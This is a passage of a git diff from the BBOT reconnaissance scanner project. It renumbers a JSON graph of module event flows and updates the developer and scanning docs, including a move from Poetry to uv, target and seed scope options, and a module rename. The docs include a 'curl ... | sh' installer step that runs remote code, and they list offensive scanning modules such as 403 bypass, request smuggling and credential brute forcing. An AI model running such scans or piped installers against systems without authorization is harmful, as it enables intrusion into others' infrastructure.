}, + { + "source": 47, + "target": 46, + "type": "produces" + }, { "source": 48, - "target": 47, + "target": 46, "type": "produces" }, { "source": 49, - "target": 47, + "target": 46, "type": "produces" }, { "source": 50, - "target": 47, + "target": 46, "type": "produces" }, { "source": 51, - "target": 47, + "target": 7, + "type": "consumes" + }, + { + "source": 7, + "target": 51, "type": "produces" }, { @@ -495,773 +480,763 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 53, "type": "produces" }, - { - "source": 54, - "target": 7, - "type": "consumes" - }, { "source": 48, - "target": 54, + "target": 53, "type": "produces" }, { "source": 49, - "target": 54, + "target": 53, "type": "produces" }, { "source": 50, - "target": 54, - "type": "produces" - }, - { - "source": 51, - "target": 54, + "target": 53, "type": "produces" }, { - "source": 55, + "source": 54, "target": 7, "type": "consumes" }, { "source": 7, - "target": 55, + "target": 54, "type": "produces" }, { - "source": 56, + "source": 55, "target": 7, "type": "consumes" }, { - "source": 57, - "target": 56, + "source": 56, + "target": 55, "type": "produces" }, { - "source": 20, - "target": 56, + "source": 19, + "target": 55, "type": "produces" }, { - "source": 58, + "source": 57, "target": 7, "type": "consumes" }, { "source": 7, - "target": 58, + "target": 57, "type": "produces" }, { - "source": 59, + "source": 58, "target": 7, "type": "consumes" }, { "source": 7, - "target": 59, + "target": 58, "type": "produces" }, { - "source": 60, + "source": 59, "target": 7, "type": "consumes" }, { "source": 7, - "target": 60, + "target": 59, "type": "produces" }, { - "source": 48, - "target": 60, + "source": 47, + "target": 59, "type": "produces" }, { - "source": 20, - "target": 60, + "source": 19, + "target": 59, "type": "produces" }, { - "source": 61, + "source": 60, "target": 7, "type": "consumes" }, { "source": 7, - "target": 61, + "target": 60, "type": "produces" }, { - "source": 62, + "source": 61, "target": 7, "type": "consumes" }, { "source": 7, - "target": 62, + "target": 61, "type": "produces" }, { "source": 7, - "target": 63, + "target": 62, "type": "produces" }, { "source": 12, - "target": 63, + "target": 62, "type": "produces" }, { - "source": 57, - "target": 63, + "source": 56, + "target": 62, "type": "produces" }, { - "source": 64, + "source": 63, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 64, + "source": 47, + "target": 63, "type": "produces" }, { - "source": 57, - "target": 64, - "type": "produces" + "source": 56, + "target": 63, + "type": "produces" }, { - "source": 20, - "target": 64, + "source": 19, + "target": 63, "type": "produces" }, { - "source": 65, - "target": 46, + "source": 64, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 65, + "target": 64, "type": "produces" }, { - "source": 66, - "target": 67, + "source": 65, + "target": 66, "type": "consumes" }, { - "source": 66, - "target": 68, + "source": 65, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 66, + "source": 45, + "target": 65, "type": "produces" }, { - "source": 68, - "target": 66, + "source": 67, + "target": 65, "type": "produces" }, { - "source": 20, - "target": 66, + "source": 19, + "target": 65, "type": "produces" }, { - "source": 69, + "source": 68, "target": 2, "type": "consumes" }, { - "source": 17, - "target": 69, + "source": 4, + "target": 68, "type": "produces" }, { "source": 5, - "target": 69, + "target": 68, "type": "produces" }, { - "source": 70, + "source": 69, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 70, + "source": 47, + "target": 69, "type": "produces" }, { - "source": 71, - "target": 48, + "source": 70, + "target": 47, "type": "consumes" }, { - "source": 72, + "source": 71, "target": 2, "type": "consumes" }, { - "source": 72, - "target": 73, - "type": "consumes" - }, - { - "source": 20, + "source": 71, "target": 72, - "type": "produces" + "type": "consumes" }, { - "source": 74, - "target": 72, + "source": 19, + "target": 71, "type": "produces" }, - { - "source": 75, - "target": 10, - "type": "consumes" - }, { "source": 73, - "target": 75, + "target": 71, "type": "produces" }, { - "source": 76, + "source": 74, "target": 3, "type": "consumes" }, { - "source": 20, - "target": 76, + "source": 19, + "target": 74, "type": "produces" }, { - "source": 77, - "target": 78, + "source": 75, + "target": 76, "type": "consumes" }, { - "source": 20, - "target": 77, + "source": 19, + "target": 75, "type": "produces" }, { - "source": 79, + "source": 77, "target": 2, "type": "consumes" }, { - "source": 79, - "target": 20, + "source": 77, + "target": 19, "type": "consumes" }, { "source": 10, - "target": 79, + "target": 77, "type": "produces" }, { - "source": 80, + "source": 78, "target": 16, "type": "consumes" }, { - "source": 42, - "target": 80, + "source": 41, + "target": 78, "type": "produces" }, { - "source": 81, + "source": 79, "target": 7, "type": "consumes" }, { "source": 7, - "target": 81, + "target": 79, "type": "produces" }, { - "source": 82, + "source": 80, "target": 3, "type": "consumes" }, { - "source": 5, - "target": 82, + "source": 4, + "target": 80, "type": "produces" }, { - "source": 83, + "source": 81, "target": 3, "type": "consumes" }, { - "source": 46, - "target": 83, + "source": 45, + "target": 81, "type": "produces" }, { "source": 4, - "target": 83, + "target": 81, "type": "produces" }, { - "source": 84, - "target": 46, + "source": 82, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 84, + "target": 82, "type": "produces" }, { - "source": 85, - "target": 46, + "source": 83, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 85, + "target": 83, "type": "produces" }, { - "source": 86, + "source": 84, "target": 7, "type": "consumes" }, { - "source": 46, - "target": 86, + "source": 45, + "target": 84, "type": "produces" }, { - "source": 20, - "target": 86, + "source": 19, + "target": 84, "type": "produces" }, { - "source": 87, - "target": 67, + "source": 85, + "target": 66, "type": "consumes" }, { - "source": 87, - "target": 68, + "source": 85, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 87, + "source": 45, + "target": 85, "type": "produces" }, { - "source": 88, + "source": 86, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 88, + "source": 47, + "target": 86, "type": "produces" }, { - "source": 68, - "target": 88, + "source": 67, + "target": 86, "type": "produces" }, { - "source": 89, - "target": 46, + "source": 87, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 89, + "target": 87, "type": "produces" }, { - "source": 90, - "target": 68, + "source": 88, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 90, + "source": 45, + "target": 88, "type": "produces" }, { - "source": 91, + "source": 89, "target": 2, "type": "consumes" }, { - "source": 91, - "target": 68, + "source": 89, + "target": 67, "type": "consumes" }, { - "source": 91, - "target": 17, + "source": 89, + "target": 5, "type": "consumes" }, { - "source": 46, - "target": 91, + "source": 45, + "target": 89, "type": "produces" }, { "source": 4, - "target": 91, + "target": 89, "type": "produces" }, { - "source": 68, - "target": 91, + "source": 67, + "target": 89, "type": "produces" }, { - "source": 17, - "target": 91, + "source": 5, + "target": 89, "type": "produces" }, { - "source": 92, - "target": 46, + "source": 90, + "target": 45, "type": "consumes" }, { - "source": 92, - "target": 67, + "source": 90, + "target": 66, "type": "consumes" }, { "source": 9, - "target": 92, + "target": 90, "type": "produces" }, { - "source": 93, - "target": 68, + "source": 91, + "target": 67, "type": "consumes" }, { - "source": 93, + "source": 91, "target": 3, "type": "consumes" }, { - "source": 17, - "target": 93, + "source": 5, + "target": 91, "type": "produces" }, { "source": 3, - "target": 93, + "target": 91, "type": "produces" }, { - "source": 20, - "target": 93, + "source": 19, + "target": 91, "type": "produces" }, { - "source": 94, - "target": 93, + "source": 92, + "target": 91, "type": "produces" }, { - "source": 95, + "source": 93, "target": 3, "type": "consumes" }, { "source": 4, - "target": 95, + "target": 93, "type": "produces" }, { - "source": 96, + "source": 94, "target": 7, "type": "consumes" }, { "source": 7, - "target": 96, + "target": 94, "type": "produces" }, { - "source": 97, + "source": 95, "target": 2, "type": "consumes" }, { "source": 4, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 98, + "source": 96, "target": 16, "type": "consumes" }, { - "source": 98, + "source": 96, "target": 3, "type": "consumes" }, { - "source": 98, - "target": 20, + "source": 96, + "target": 19, "type": "consumes" }, { "source": 2, - "target": 98, + "target": 96, "type": "produces" }, { "source": 3, - "target": 98, + "target": 96, "type": "produces" }, { - "source": 99, - "target": 74, + "source": 97, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 99, + "target": 97, "type": "produces" }, { - "source": 100, + "source": 98, "target": 7, "type": "consumes" }, { "source": 7, - "target": 100, + "target": 98, "type": "produces" }, { - "source": 48, - "target": 100, + "source": 47, + "target": 98, "type": "produces" }, { - "source": 20, - "target": 100, + "source": 19, + "target": 98, "type": "produces" }, { - "source": 101, + "source": 99, "target": 3, "type": "consumes" }, { - "source": 78, - "target": 101, + "source": 76, + "target": 99, "type": "produces" }, { - "source": 102, + "source": 100, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 102, + "source": 101, + "target": 100, "type": "produces" }, { - "source": 104, + "source": 102, "target": 12, "type": "consumes" }, { "source": 12, - "target": 104, + "target": 102, "type": "produces" }, { - "source": 105, + "source": 103, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 105, + "source": 101, + "target": 103, "type": "produces" }, { - "source": 106, + "source": 104, "target": 10, "type": "consumes" }, { "source": 10, - "target": 106, + "target": 104, "type": "produces" }, { - "source": 107, + "source": 105, + "target": 10, + "type": "consumes" + }, + { + "source": 72, + "target": 105, + "type": "produces" + }, + { + "source": 106, "target": 7, "type": "consumes" }, { "source": 7, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, - "target": 42, + "source": 107, + "target": 41, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 3, "type": "consumes" }, { - "source": 109, - "target": 74, + "source": 108, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 109, - "type": "produces" - }, - { - "source": 5, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, - "target": 42, + "source": 109, + "target": 41, "type": "consumes" }, { - "source": 5, - "target": 110, + "source": 4, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 7, "type": "consumes" }, { "source": 7, - "target": 111, + "target": 110, "type": "produces" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { "source": 4, - "target": 112, + "target": 111, "type": "produces" }, { - "source": 113, + "source": 112, "target": 7, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 12, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 16, "type": "consumes" }, { - "source": 113, - "target": 42, + "source": 112, + "target": 41, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 2, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 3, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 113, "type": "produces" }, { "source": 4, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 3, "type": "consumes" }, { "source": 4, - "target": 115, - "type": "produces" - }, - { - "source": 17, - "target": 115, + "target": 114, "type": "produces" }, { "source": 5, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 7, "type": "consumes" }, + { + "source": 115, + "target": 19, + "type": "consumes" + }, + { + "source": 7, + "target": 115, + "type": "produces" + }, { "source": 116, - "target": 20, + "target": 7, "type": "consumes" }, { @@ -1271,11 +1246,16 @@ }, { "source": 117, - "target": 7, + "target": 2, "type": "consumes" }, { - "source": 7, + "source": 117, + "target": 73, + "type": "consumes" + }, + { + "source": 73, "target": 117, "type": "produces" }, @@ -1286,16 +1266,11 @@ }, { "source": 118, - "target": 74, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 118, - "type": "produces" - }, - { - "source": 74, + "source": 73, "target": 118, "type": "produces" }, @@ -1306,31 +1281,21 @@ }, { "source": 119, - "target": 74, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 119, - "type": "produces" - }, - { - "source": 74, + "source": 73, "target": 119, "type": "produces" }, { "source": 120, - "target": 2, - "type": "consumes" - }, - { - "source": 120, - "target": 74, + "target": 7, "type": "consumes" }, { - "source": 74, + "source": 7, "target": 120, "type": "produces" }, @@ -1340,93 +1305,93 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 121, "type": "produces" }, { "source": 122, - "target": 7, - "type": "consumes" - }, - { - "source": 48, - "target": 122, - "type": "produces" - }, - { - "source": 123, "target": 16, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 3, "type": "consumes" }, { - "source": 123, - "target": 20, + "source": 122, + "target": 19, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 7, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 12, "type": "consumes" }, { - "source": 124, - "target": 125, + "source": 123, + "target": 124, "type": "consumes" }, { "source": 16, - "target": 124, + "target": 123, "type": "produces" }, { - "source": 126, + "source": 125, + "target": 66, + "type": "consumes" + }, + { + "source": 125, "target": 67, "type": "consumes" }, + { + "source": 45, + "target": 125, + "type": "produces" + }, { "source": 126, - "target": 68, + "target": 45, "type": "consumes" }, { - "source": 46, + "source": 10, "target": 126, "type": "produces" }, { "source": 127, - "target": 46, + "target": 7, "type": "consumes" }, { - "source": 10, + "source": 7, "target": 127, "type": "produces" }, { "source": 128, - "target": 7, + "target": 73, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 128, "type": "produces" }, { "source": 129, - "target": 74, + "target": 19, "type": "consumes" }, { @@ -1436,21 +1401,21 @@ }, { "source": 130, - "target": 20, + "target": 3, "type": "consumes" }, { - "source": 4, + "source": 19, "target": 130, "type": "produces" }, { "source": 131, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 20, + "source": 7, "target": 131, "type": "produces" }, @@ -1460,312 +1425,302 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 132, "type": "produces" }, { - "source": 133, - "target": 7, - "type": "consumes" - }, - { - "source": 48, - "target": 133, - "type": "produces" - }, - { - "source": 20, - "target": 133, + "source": 19, + "target": 132, "type": "produces" }, { - "source": 134, + "source": 133, "target": 7, "type": "consumes" }, { "source": 7, - "target": 134, + "target": 133, "type": "produces" }, { - "source": 135, + "source": 134, "target": 7, "type": "consumes" }, { - "source": 135, + "source": 134, "target": 12, "type": "consumes" }, { "source": 7, - "target": 135, + "target": 134, "type": "produces" }, { "source": 4, - "target": 135, + "target": 134, "type": "produces" }, { "source": 16, - "target": 135, - "type": "produces" - }, - { - "source": 17, - "target": 135, + "target": 134, "type": "produces" }, { "source": 5, - "target": 135, + "target": 134, "type": "produces" }, { - "source": 136, + "source": 135, "target": 7, "type": "consumes" }, { "source": 7, - "target": 136, + "target": 135, "type": "produces" }, { - "source": 137, + "source": 136, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 137, + "source": 47, + "target": 136, "type": "produces" }, { - "source": 138, + "source": 137, "target": 3, "type": "consumes" }, { "source": 4, - "target": 138, + "target": 137, "type": "produces" }, { - "source": 139, - "target": 20, + "source": 138, + "target": 19, "type": "consumes" }, { - "source": 68, - "target": 139, + "source": 67, + "target": 138, "type": "produces" }, { - "source": 140, - "target": 141, + "source": 139, + "target": 140, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 140, - "target": 23, + "source": 139, + "target": 22, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 2, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 12, "type": "consumes" }, { - "source": 140, - "target": 125, + "source": 139, + "target": 124, "type": "consumes" }, { - "source": 140, - "target": 68, + "source": 139, + "target": 67, "type": "consumes" }, { - "source": 140, - "target": 25, + "source": 139, + "target": 24, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 3, "type": "consumes" }, { - "source": 140, - "target": 20, + "source": 139, + "target": 19, "type": "consumes" }, { - "source": 140, - "target": 51, + "source": 139, + "target": 50, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 139, "type": "produces" }, { "source": 4, - "target": 140, + "target": 139, "type": "produces" }, { "source": 12, - "target": 140, + "target": 139, "type": "produces" }, { "source": 16, - "target": 140, + "target": 139, "type": "produces" }, { - "source": 67, - "target": 140, + "source": 66, + "target": 139, "type": "produces" }, { - "source": 142, + "source": 141, "target": 16, "type": "consumes" }, { "source": 7, - "target": 142, + "target": 141, "type": "produces" }, { - "source": 48, - "target": 142, + "source": 47, + "target": 141, "type": "produces" }, { - "source": 143, + "source": 142, "target": 7, "type": "consumes" }, { "source": 7, - "target": 143, + "target": 142, "type": "produces" }, { - "source": 144, + "source": 143, "target": 7, "type": "consumes" }, { "source": 7, - "target": 144, + "target": 143, "type": "produces" }, { - "source": 145, + "source": 144, "target": 7, "type": "consumes" }, { - "source": 145, - "target": 23, + "source": 144, + "target": 22, "type": "consumes" }, { - "source": 146, + "source": 145, "target": 2, "type": "consumes" }, { - "source": 146, + "source": 145, "target": 3, "type": "consumes" }, { "source": 4, - "target": 146, - "type": "produces" - }, - { - "source": 5, - "target": 146, + "target": 145, "type": "produces" }, { - "source": 147, + "source": 146, "target": 7, "type": "consumes" }, { "source": 7, - "target": 147, + "target": 146, "type": "produces" }, { - "source": 148, - "target": 46, + "source": 147, + "target": 45, "type": "consumes" }, { - "source": 148, + "source": 147, "target": 10, "type": "consumes" }, { - "source": 148, + "source": 147, "target": 2, "type": "consumes" }, { - "source": 148, - "target": 73, + "source": 147, + "target": 72, "type": "consumes" }, { "source": 4, - "target": 148, + "target": 147, "type": "produces" }, { - "source": 5, + "source": 148, + "target": 10, + "type": "consumes" + }, + { + "source": 10, "target": 148, "type": "produces" }, { "source": 149, - "target": 10, + "target": 3, "type": "consumes" }, { - "source": 10, + "source": 4, "target": 149, "type": "produces" }, { "source": 150, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, + "target": 150, + "type": "produces" + }, + { + "source": 19, "target": 150, "type": "produces" }, @@ -1779,11 +1734,6 @@ "target": 151, "type": "produces" }, - { - "source": 20, - "target": 151, - "type": "produces" - }, { "source": 152, "target": 3, @@ -1794,6 +1744,11 @@ "target": 152, "type": "produces" }, + { + "source": 2, + "target": 152, + "type": "produces" + }, { "source": 153, "target": 152, @@ -1811,97 +1766,87 @@ }, { "source": 155, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 156, "target": 155, "type": "produces" }, { - "source": 156, + "source": 157, "target": 3, "type": "consumes" }, { - "source": 18, - "target": 156, + "source": 17, + "target": 157, "type": "produces" }, { - "source": 157, + "source": 158, "target": 7, "type": "consumes" }, { "source": 7, - "target": 157, + "target": 158, "type": "produces" }, { - "source": 20, - "target": 157, + "source": 19, + "target": 158, "type": "produces" }, { - "source": 158, - "target": 74, + "source": 159, + "target": 73, "type": "consumes" }, { - "source": 159, + "source": 160, "target": 4, "type": "consumes" }, { - "source": 159, - "target": 17, + "source": 160, + "target": 5, "type": "consumes" }, { - "source": 159, + "source": 160, "target": 3, "type": "consumes" }, { - "source": 159, + "source": 160, "target": 153, "type": "consumes" }, { - "source": 159, - "target": 5, - "type": "consumes" - }, - { - "source": 160, + "source": 161, "target": 2, "type": "consumes" }, { - "source": 160, - "target": 17, + "source": 161, + "target": 5, "type": "consumes" }, { "source": 4, - "target": 160, + "target": 161, "type": "produces" }, { - "source": 17, - "target": 160, - "type": "produces" - }, - { - "source": 20, - "target": 160, + "source": 5, + "target": 161, "type": "produces" }, { - "source": 5, - "target": 160, + "source": 19, + "target": 161, "type": "produces" } ] \ No newline at end of file diff --git a/docs/dev/dev_environment.md b/docs/dev/dev_environment.md index b73f660574..94e72abd73 100644 --- a/docs/dev/dev_environment.md +++ b/docs/dev/dev_environment.md @@ -2,28 +2,28 @@ The following will show you how to set up a fully functioning python environment for devving on BBOT. -## Installation (Poetry) +## Installation (uv) -[Poetry](https://python-poetry.org/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with Poetry, you can follow these steps: +[uv](https://docs.astral.sh/uv/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with uv, you can follow these steps: - Fork [BBOT](https://github.com/blacklanternsecurity/bbot) on GitHub -- Clone your fork and set up a development environment with Poetry: +- Clone your fork and set up a development environment with uv: ```bash # clone your forked repo and cd into it git clone git@github.com//bbot.git cd bbot -# install poetry -curl -sSL https://install.python-poetry.org | python3 - +# install uv +curl -LsSf https://astral.sh/uv/install.sh | sh # install pip dependencies -poetry install +uv sync --group dev # install pre-commit hooks, etc. -poetry run pre-commit install +uv run pre-commit install # enter virtual environment -poetry shell +source .venv/bin/activate bbot --help ``` diff --git a/docs/dev/index.md b/docs/dev/index.md index ba1a35d946..699c5799c8 100644 --- a/docs/dev/index.md +++ b/docs/dev/index.md @@ -6,14 +6,14 @@ Documented in this section are commonly-used classes and functions within BBOT, ## Adding BBOT to Your Python Project -If you are using Poetry, you can add BBOT to your python environment like this: +If you are using uv, you can add BBOT to your python environment like this: ```bash # stable -poetry add bbot +uv add bbot # bleeding-edge (dev branch) -poetry add bbot --allow-prereleases +uv add bbot --prerelease=allow ``` ## Running a BBOT Scan from Python @@ -68,7 +68,7 @@ For more details, including which types of targets are valid, see [Targets](../s #### Other Custom Options -In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md), a [`whitelist` or `blacklist`](../scanning/index.md#whitelists-and-blacklists), and custom [`config` options](../scanning/configuration.md): +In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-seeds-and-blacklists), and custom [`config` options](../scanning/configuration.md): ```python # create a scan against multiple targets @@ -78,8 +78,8 @@ scan = Scanner( "4.3.2.1", # enable these presets presets=["subdomain-enum"], - # whitelist these hosts - whitelist=["evilcorp.com", "evilcorp.org"], + # explicitly define in-scope targets + target=["evilcorp.com", "evilcorp.org"], # blacklist these hosts blacklist=["prod.evilcorp.com"], # also enable these individual modules diff --git a/docs/dev/target.md b/docs/dev/target.md index 6740cfb744..b5420801c7 100644 --- a/docs/dev/target.md +++ b/docs/dev/target.md @@ -2,7 +2,7 @@ ::: bbot.scanner.target.ScanSeeds -::: bbot.scanner.target.ScanWhitelist +::: bbot.scanner.target.ScanTarget ::: bbot.scanner.target.ScanBlacklist diff --git a/docs/dev/tests.md b/docs/dev/tests.md index 4381981812..b1407193cb 100644 --- a/docs/dev/tests.md +++ b/docs/dev/tests.md @@ -10,13 +10,13 @@ We have GitHub Actions that automatically run tests whenever you open a Pull Req ```bash # lint with ruff -poetry run ruff check +uv run ruff check # format code with ruff -poetry run ruff format +uv run ruff format # run all tests with pytest (takes roughly 30 minutes) -poetry run pytest +uv run pytest ``` ### Running specific tests @@ -25,18 +25,18 @@ If you only want to run a single test, you can select it with `-k`: ```bash # run only the sslcert test -poetry run pytest -k test_module_sslcert +uv run pytest -k test_module_sslcert ``` You can also filter like this: ```bash # run all the module tests except for sslcert -poetry run pytest -k "test_module_ and not test_module_sslcert" +uv run pytest -k "test_module_ and not test_module_sslcert" ``` If you want to see the output of your module, you can enable `--log-cli-level`: ```bash -poetry run pytest --log-cli-level=DEBUG +uv run pytest --log-cli-level=DEBUG ``` ## Example: Writing a Module Test diff --git a/docs/modules/custom_yara_rules.md b/docs/modules/custom_yara_rules.md index 5e40856173..0aeba890c1 100644 --- a/docs/modules/custom_yara_rules.md +++ b/docs/modules/custom_yara_rules.md @@ -135,6 +135,23 @@ rule ContainsTitle } ``` +#### Severity and Confidence +``` +rule ContainsTitle +{ + meta: + description = "Contains an HTML title tag" + severity = "HIGH" + confidence = "CONFIRMED" + $title_value = /(.*)?<\/title>/i + condition: + $title_value +} +``` +Confidence and Severity levels will be assigned to the FINDING event produced if there is a match. + + + When run against the Black Lantern Security homepage with the following BBOT command: ``` diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 4205db8810..50af1841f6 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -83,7 +83,7 @@ | docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | | dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | | emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| extractous | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | +| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | | fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | git_clone | scan | No | Clone code github repositories | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | | gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 20afa0535d..b60c3260e4 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -56,12 +56,12 @@ options: Target: -t, --targets TARGET [TARGET ...] - Targets to seed the scan - -w, --whitelist WHITELIST [WHITELIST ...] - What's considered in-scope (by default it's the same as --targets) + Target scope (defines what is in-scope) + -s, --seeds SEEDS [SEEDS ...] + Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) -b, --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things - --strict-scope Don't consider subdomains of target/whitelist to be in-scope + --strict-scope Don't consider subdomains of targets to be in-scope Presets: -p, --preset [PRESET ...] @@ -72,7 +72,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,extractous,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,kreuzberg,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 47dfb43f08..548f60b61a 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -30,7 +30,7 @@ You can specify config options either via the command line or the config. For ex bbot -t evilcorp.com -c http_proxy=http://127.0.0.1:8080 ``` -Or, in `~/.config/bbot/config.yml`: +Or, in `~/.config/bbot/bbot.yml`: ```yaml title="~/.bbot/config/bbot.yml" http_proxy: http://127.0.0.1:8080 @@ -87,7 +87,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you are using IP-based targets/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false @@ -530,7 +530,7 @@ In addition to the stated options for each module, the following universal optio | modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | | modules.docker_pull.all_tags | bool | Download all tags from each registry (Default False) | False | | modules.docker_pull.output_folder 